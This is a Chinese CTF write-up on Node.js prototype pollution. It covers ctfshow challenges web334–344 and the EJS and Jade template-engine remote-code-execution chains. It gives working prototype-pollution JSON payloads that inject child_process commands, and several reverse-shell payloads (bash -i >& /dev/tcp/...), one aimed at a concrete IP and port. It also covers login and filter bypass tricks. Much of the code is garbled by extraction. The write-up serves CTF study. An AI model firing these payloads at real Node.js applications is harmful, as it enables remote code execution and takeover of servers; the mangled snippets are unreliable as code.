本文最后更新于:2023年8月25日 下午
                  
                
              
            
            
              
                
                [TOC]
NodeJS原型链污染&ctfshow_nodejs 前言 最近又遇到了有关原型链污染的题目,所以在此总结一下,方便回顾
0x01.原型与原型链 js中一切皆对象,其中对象之间是存在共同和差异的。
共同:对象的最终原型是Object的原型null 
差异:函数对象中有prototype属性,但是实力对象没有 
 
1、原型的定义:
原型是Javascript中继承的基础,Javascript的继承就是基于原型的继承
(1)所有引用类型(函数,数组,对象)都拥有__proto__属性(隐式原型
(2)所有函数拥有prototype属性(显式原型)(仅限函数)
2、原型链的定义:
原型链是javascript的实现的形式,递归继承原型对象的原型,原型链的顶端是Object的原型。
0x02.prototype和__proto__分别是什么? 
prototype是一个类的属性,所有类对象在实例化的时候都会拥有prototype中的属性的方法
一个对象的__proto__属性,指向这个对象所在类的prototype属性
 
我们可以通过Foo.prototype来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。这时候,就该__proto__登场了。
一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:
1 foo.__proto__ = =  Foo.prototype
0x03.原型链继承 所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function  Father (this .first_name  = 'Donald' this .last_name  = 'Trump' function  Son (this .first_name  = 'Melania' Son .prototype new  Father ()let  son = new  Son ()console .log (`Name: ${son.first_name}  ${son.last_name} ` )
总结一下,对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:
在对象son中寻找last_name 
如果找不到,则在son.__proto__中寻找last_name 
如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name 
依次寻找,直到找到null结束。比如,Object.prototype的__proto__就是null 
 
知识点:
每个构造函数(constructor)都有一个原型对象(prototype) 
对象的__proto__属性,指向类的原型对象prototype 
JavaScript使用prototype链实现继承机制 
 
不同对象的原型链* 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 var  o = {a : 1 };var  a = ["yo" , "whadup" , "?" ];function  f (return  2 ;
知道这个,后面的就容易理解了
0x04.原型链污染原理 对于语句:object[a][b] = value 如果可以控制a、b、value的值,将a设置为__proto__,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。
1 2 3 4 5 object1 = {"a" :1 , "b" :2 };__proto__ .foo  = "Hello World" ;console .log (object1.foo ); "c" :1 , "d" :2 };console .log (object2.foo ); 
最终会输出两个Hello World。为什么object2在没有设置foo属性的情况下,也会输出Hello World呢?就是因为在第二条语句中,我们对object1的原型对象设置了一个foo属性,而object2和object1一样,都是继承了Object.prototype。在获取object2.foo时,由于object2本身不存在foo属性,就会往父类Object.prototype中去寻找。这就造成了一个原型链污染,所以原型链污染简单来说就是如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象。
0x05.merge()导致原型链污染 merge操作是最常见可能控制键名的操作,也最能被原型链攻击。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function  merge (target, source ) {for  (let  key in  source) {if  (key in  source && key in  target) {merge (target[key], source[key])else  {let  object1 = {}let  object2 = JSON .parse ('{"a": 1, "__proto__": {"b": 2}}' )merge (object1, object2)console .log (object1.a , object1.b )  console .log (object3.b )	
上述已经污染成功了,object3并没有b变量,但是输出为2,说明我们已经污染了Object原型对象的值,根据原型链继承,object3中也有b变量,所以输出为2
需要注意的点是:
在JSON解析 的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。
如果我们不使用json解析:
1 2 3 4 5 6 7 let  o1 = {}let  o2 = {a : 1 , "__proto__" : {b : 2 }}merge (o1, o2)console .log (o1.a , o1.b ) console .log (o3.b )  
这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b],__proto__并不是一个key,自然也不会修改Object的原型。
0x06.ejs模板引擎RCE https://www.anquanke.com/post/id/236354#h2-2 
该漏洞可以参考:ctfshowweb341
想要使用ejs进行RCE的前提是需要有原型链污染。例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) {type ('html' );var  user = new  function (this .userinfo  = new  function (this .isVIP  = false ;this .isAdmin  = false ;    copy (user.userinfo ,req.body );if (user.userinfo .isAdmin ){return  res.json ({ret_code : 0 , ret_msg : 'login success!' });  else {return  res.json ({ret_code : 2 , ret_msg : 'login fail!' });  function  copy (object1, object2 ){for  (let  key in  object2) {if  (key in  object2 && key in  object1) {copy (object1[key], object2[key])else  {
这里通过copy()函数就可以造成原型链污染漏洞
从app.js我们可以看到使用了ejs模板引擎:
1 2 app.engine ('html' , require ('ejs' ).__express ); set ('view engine' , 'html' );
我们跟进ejs.js中的renderFile()函数
在 EJS(Embedded JavaScript)模板引擎中,renderFile() 是一个用于加载和渲染模板文件的方法。它通常与 Express 框架一起使用。
renderFile() 方法的作用是读取指定的 EJS 模板文件,并将数据填充到模板中生成最终的 HTML 内容 。这个方法多用于将动态数据注入到模板中,以生成动态的网页内容
 
可见,这个renderFile()函数非常的重要,如果能够控制它输出的值,就会执行相应的代码
1 2 3 4 5 6 7 8 9 10 exports .renderFile  = function  (var  args = Array .prototype slice .call (arguments );var  filename = args.shift ();var  cb;var  opts = {filename : filename};var  data;var  viewOpts;return  tryHandleCache (opts, data, cb);
返回值是tryHandleCache(opts, data, cb)我们跟进一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 function  tryHandleCache (options, data, cb ) {var  result;if  (!cb) {if  (typeof  exports .promiseImpl  == 'function' ) {return  new  exports .promiseImpl (function  (resolve, reject ) {try  {handleCache (options)(data);resolve (result);else  {try  {handleCache (options)(data);catch  (err) {return  cb (err);
我们发现这个函数一定会进入:handleCache()
1 2 3 4 5 6 7 8 9 10 11 function  handleCache (options, template ) {var  func;var  filename = options.filename ;var  hasTemplate = arguments .length  > 1 ;exports .compile (template, options); if  (options.cache ) {exports .cache .set (filename, func);return  func;
这个函数的返回值是func,而func是 exports.compile(template, options)的返回值,继续跟进:compile()
1 2 3 4 5 6 7 8 9 10 11 12 13 compile : function  (if  (!this .source ) {this .generateSource ();'  var __output = "";\n'  +'  function __append(s) { if (s !== undefined && s !== null) __output += s }\n' ;if  (opts.outputFunctionName ) {'  var '  + opts.outputFunctionName  + ' = __append;'  + '\n' ;
我们发现函数里面存在大量拼接渲染,
如果能够覆盖 opts.outputFunctionName , 这样我们构造的payload就会被拼接进js语句中,并在 ejs 渲染时进行 RCE
1 2 3 4 5 prepended += '  var '  + opts.outputFunctionName  + ' = __append;'  + '\n' ;' var __tmp1; return global.process.mainModule.constructor._load(' child_process').execSync(' dir'); var __tmp2 = __append;' 
我们可以覆盖opts.outputFunctionName 为:
1 __tmp1; return  global .process .mainModule .constructor ._load ('child_process' ).execSync ('dir' );var  __tmp2
然后经过ejs原型链污染掉outputFunctionName 就可以实现rce了
由于此处例子的:user.userinfo是一个函数,所以需要使用两次__proto__才能获得原型对象:Object
1 {"__proto__" :{"__proto__" :{"outputFunctionName" :"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir');var __tmp2" }}}
进行 copy 函数后, 此时 outputFunctionName 已经在全局变量中被复制了, 可以在 Global 的 __proto__ 的 __proto__ 的 __proto__ 下找到我们的污染链:
ejs模板引擎另一处rce 1 2 3 4 5 6 7 8 9 var  escapeFn = opts.escapeFunction ;var  ctor;if  (opts.client ) {'escapeFn = escapeFn || '  + escapeFn.toString () + ';'  + '\n'  + src;if  (opts.compileDebug ) {'rethrow = rethrow || '  + rethrow.toString () + ';'  + '\n'  + src;
伪造 opts.escapeFunction 也可以进行 RCE
1 2 3 {"__proto__" :{"__proto__" :{"client" :true ,"escapeFunction" :"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');" ,"compileDebug" :true }}}"__proto__" :{"__proto__" :{"client" :true ,"escapeFunction" :"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');" ,"compileDebug" :true ,"debug" :true }}}
0x07.jade模板引擎RCE 可以参考:ctfshow web342
原型链的污染思路和 ejs 思路很像
app.js中发现模板引擎为jade:
1 2 app.engine ('jade' , require ('jade' ).__express ); set ('view engine' , 'jade' );
我们跟进jade.js,继续看renderFile()
1 2 3 4 5 6 7 exports .renderFile  = function (path, options, fn ){filename  = path;return  handleTemplateCache (options)(options);	
跟进handleTemplateCache()
1 2 3 4 5 6 7 8 function  handleTemplateCache  (options, str) {else  {var  templ = exports .compile (str, options);  if  (options.cache ) exports .cache [key] = templ;return  templ;
返回值为temp1,所以我们跟进compile()
我们必须满足:compileDebug==true
jade 模板和 ejs 不同, 在compile之前会有 parse 解析, 尝试控制传入 parse 的语句
所以我们跟进一下parse()函数
在 parse 函数中主要执行了这两步, 最后返回的部分:
1 2 3 4 5 6 7 8 9 var  body = '' 'var buf = [];\n' 'var jade_mixins = {};\n' 'var jade_interp;\n' self 'var self = locals || {};\n'  + jsaddWith ('locals || {}' , '\n'  + js, globals)) + ';' 'return buf.join("");' ;return  {body : body, dependencies : parser.dependencies };
options.self 可控, 如果我们控制self=true,可以绕过 addWith 函数,
 回头跟进 compile 函数, 看看作用:
返回的是 buf, 跟进 visit 函数
如果 debug 为 true, node.line 就会被 push 进去, 造成拼接 (两个参数)
1 2 jade_debug.unshift (new  jade.DebugItem ( 0 , ""  ));return  global .process .mainModule .constructor ._load ('child_process' ).execSync ('dir' );
在返回的时候还会经过 visitNode 函数:
1 2 visitNode : function (node ){return  this ['visit'  + node.type ](node);}
这个函数会执行visit开头的函数,所以我们需要控制type为有效的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 visitAttributes
然后就可以返回 buf 部分进行命令执行
1 {"__proto__" :{"__proto__" : {"type" :"Code" ,"compileDebug" :true ,"self" :true ,"line" :"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//" }}}
(污染对应的变量,这样才能进入到指定的地方进行字符串拼接)
补充:  针对 jade RCE链的污染, 普通的模板可以只需要污染 self 和 line, 但是有继承的模板还需要污染 type
【ctfshow】nodejs web334 login.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 var  express = require ('express' );var  router = express.Router ();var  users = require ('../modules/user' ).items ;var  findUser = function (name, password ){return  users.find (function (item ){return  name!=='CTFSHOW'  && item.username  === name.toUpperCase () && item.password  === password;post ('/' , function (req, res, next ) {type ('html' );var  flag='flag_here' ;var  sess = req.session ;var  user = findUser (req.body .username , req.body .password );if (user){session .regenerate (function (err ) {if (err){return  res.json ({ret_code : 2 , ret_msg : '登录失败' });        session .loginUser  = user.username ;json ({ret_code : 0 , ret_msg : '登录成功' ,ret_flag :flag});              else {json ({ret_code : 1 , ret_msg : '账号或密码错误' });module .exports  = router;
user.js
1 2 3 4 5 module .exports  = {items : [username : 'CTFSHOW' , password : '123456' }
很显然,我们只需要绕过这里: toUpperCase()是javascript中将小写转换成大写的函数。
1 2 3 return  users.find (function (item ){return  name!=='CTFSHOW'  && item.username  === name.toUpperCase () && item.password  === password;
我们可以使用小写绕过:ctfshow
这里还有一个小trick,
1 2 在Character .toUpperCase ()函数中,字符ı会转变为I,字符ſ会变为S。Character .toLowerCase ()函数中,字符İ会转变为i,字符K会转变为k。
所以我们也可以写成这样:ctfſhow
web335 源码提示:
因此我们可以使用nodejs中的eval()进行命令执行
Node.js中的child_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');来进行调用。
 
这里我们选择反弹shell,
1 bash -i >& /dev/tcp/ip/port 0>&1
这一句的意思就是反弹shell,将输出与输入都重定型到指定ip的指定端口上面,
但是我们不能直接这样,我们需要先base64编码之后(注意加号要进行url编码为%2B),然后使用echo输出,使用管道符|将输出作为base64 -d输入进行base64解密,最后再传给bash
这里我选择自己的服务器,首先监听9996端口,然后再execute
成功监听到了:
直接读flag
web336 我们了解到如下知识点:
__filename:当前模块的文件名。 这是当前模块文件的已解析符号链接的绝对路径。
__dirname:可以获得当前文件所在目录从盘符开始的全路径
 
有一种方法是使用fs模块去读取当前目录的文件名,然后通过方法去读取文件内容:
1 require ('fs' ).readdirSync ('.' )
1 require ('fs' ).readFileSync ('fl001g.txt' )
常规方法:这里过滤了exec,我们可以使用spawn
nodejs的child_process中可以使用 exec、execSync、spawn、spawnSync进行命令执行
当我们使用:
1 require ('child_process' ).spawnSync ('ls' )
发现,显示出 object,查询资料
返回的object里有个stdout属性,我们调用它,就可以当成字符串输出了:
然后我们去读文件:
如果这样读的话语法是错的,我们需要这样:
1 require ('child_process' ).spawnSync ('cat' ,['fl001g.txt' ]).stdout 
还有一种思路,通过定义变量,然后多个变量拼接:
web337 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 var  express = require ('express' );var  router = express.Router ();var  crypto = require ('crypto' );function  md5 (s ) {return  crypto.createHash ('md5' )update (s)digest ('hex' );get ('/' , function (req, res, next ) {type ('html' );var  flag='xxxxxxx' ;var  a = req.query .a ;var  b = req.query .b ;if (a && b && a.length ===b.length  && a!==b && md5 (a+flag)===md5 (b+flag)){end (flag);else {render ('index' ,{ msg : 'tql' });module .exports  = router;
关键点在这里:
1 2 if (a && b && a.length ===b.length  && a!==b && md5 (a+flag)===md5 (b+flag)){end (flag);
这里可以使用数组绕过
1 2 3 4 a = ['1' ]1 console .log (a + 'flag' )console .log (b + 'flag' )
输出:
可以看到,nodejs中:如果数组与字符串拼接 后输出、数字与字符串拼接 后输出,结果是一样的
于是我们就有一种思路,可以a传入数组,然后b传入等值的数字:
还有一种方法,
nodejs中数组只能是数字索引,如果为非数字索引的话,相当于对象了。
1 2 3 4 5 6 7 8 a = {'x' : 1 }'x' : 2 }console .log (a + 'flag' )console .log (b + 'flag' )Object ]flagObject ]flag
因此我们直接绕过:
web338 nodejs原型链污染 关键在:
commons.js
1 2 3 4 5 6 7 8 9 10 11 12 13 module .exports  = {copy :copyfunction  copy (object1, object2 ){for  (let  key in  object2) {if  (key in  object2 && key in  object1) {copy (object1[key], object2[key])else  {
login.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 var  express = require ('express' );var  router = express.Router ();var  utils = require ('../utils/common' );post ('/' , require ('body-parser' ).json (),function (req, res, next ) {type ('html' );var  flag='flag_here' ;var  secert = {};var  sess = req.session ;let  user = {};copy (user,req.body );if (secert.ctfshow ==='36dboy' ){   end (flag);else {return  res.json ({ret_code : 2 , ret_msg : '登录失败' +JSON .stringify (user)});  module .exports  = router;
我们可以通过copy()函数,通过原型链来污染secret变量的ctfshow属性
1 2 3 4 5 6 7 {"username" :"asd" ,"password" :"123" ,"__proto__"  : {"ctfshow" :"36dboy" 
web339 login.js
1 2 3 4 5 let  user = {};copy (user,req.body );if (secert.ctfshow ===flag){end (flag);
这里没法利用了
api.js
1 2 3 4 router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) {type ('html' );render ('api' , { query : Function (query)(query)});
注意这一句: Function(query)(query),这种写法可以动态执行函数的:
1 2 3 console .log (Function ('return global.process.mainModule.constructor._load("child_process").execSync("whoami").toString()' )('return global.process.mainModule.constructor._load("child_process").execSync("whoami").toString()' ))
因此我们只需要通过原型链污染一下query变量,反弹shell即可:
1 2 3 "__proto__" :  {"query" :"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"'')" 
登陆的时候污染query,然后访问/api路由即可触发反弹shell:
web340 login.js发生了点变化,api.js还是一样的
1 2 3 4 5 6 7 8 9 10 11 var  user = new  function (this .userinfo  = new  function (this .isVIP  = false ;this .isAdmin  = false ;this .isAuthor  = false ;     copy (user.userinfo ,req.body );if (user.userinfo .isAdmin ){end (flag);
这里还是调用了copy()函数,可以造成原型链污染。但是注意,这里并不是使user.userinfo.isAdmin=true,因为就算污染了它的原型,它还是false,因为类似与就近原则,变量的值还是等于靠近他们的值,我们没办法从这里入手
我们继续从query入手,在这里我们要将req.body中的值复制给user.userinfo 
由于user.userinfo是一个函数,所以经过一次__proto__后,得到的原型对象是Function,再经过一次__proto__后,得到的原型对象是Object,就可以污染query了,这里只需要两次__proto__就行了:
1 2 3 4 5 6 "__proto__" : { "__proto__" : { "query" : "return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/49.235.108.15/9996 0>&1\"')" } } 
web341 ejs原型链污染: https://www.anquanke.com/post/id/236354#h2-2 
1 2 3 4 5 6 "__proto__" : { "__proto__" : { "outputFunctionName" : "_tmp1; return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');var _tmp2" } } 
web342-343 jade原型链污染: 1 2 3 4 5 6 7 8 9 10 { "__proto__" : { "__proto__" :  { "type" : "Code" , "compileDebug" : true , "self" : true , "line" : "0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');//" } } } 
web344 1 2 3 4 5 6 7 8 9 10 11 12 13 14 router.get ('/' , function (req, res, next ) {type ('html' );var  flag = 'flag_here' ;if (req.url .match (/8c|2c|\,/ig )){end ('where is flag :)' );var  query = JSON .parse (req.query .query );if (query.name ==='admin' &&query.password ==='ctfshow' &&query.isVIP ===true ){end (flag);else {end ('where is flag. :)' );
过滤了8c、2c、, 
我们本来应该这么传参:
1 /?q uery={"name" :"admin"  ,"password" :"ctfshow"  ,"isVIP" :true }
HTTP协议中允许同名参数出现多次,但不同服务端对同名参数 处理是不一样的:
1 2 3 4 5 6 7 8 9 10 11 Web服务器        参数获取函数              获取到的参数$_GET(“par ”)             LastRequest .Parameter(“par ”)     FirstPerl(CGI) /Apache   Param(“par ”)             FirstAll(List) QueryString(“par ”)     All (comma-delimited string )
在nodejs中会把同名参数以数组的形式存储 ,并且JSON.parse可以正常解析
上面逗号,被过滤了,我们可以使用&改写成下面的格式:
1 /?q uery={"name" :"admin" &query="password"  :"ctfshow" &query="isVIP"  :true }
但是此时又有一个问题,双引号的url编码:%22 与ctfshow的c结合后会变成2c,被过滤了,
所以我们应该把c编码一下:%63
1 /?query={ "name" : "admin" &query="password" : "%63tfshow" &query="isVIP" : true } 
参考 https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html 
https://www.anquanke.com/post/id/236354#h2-3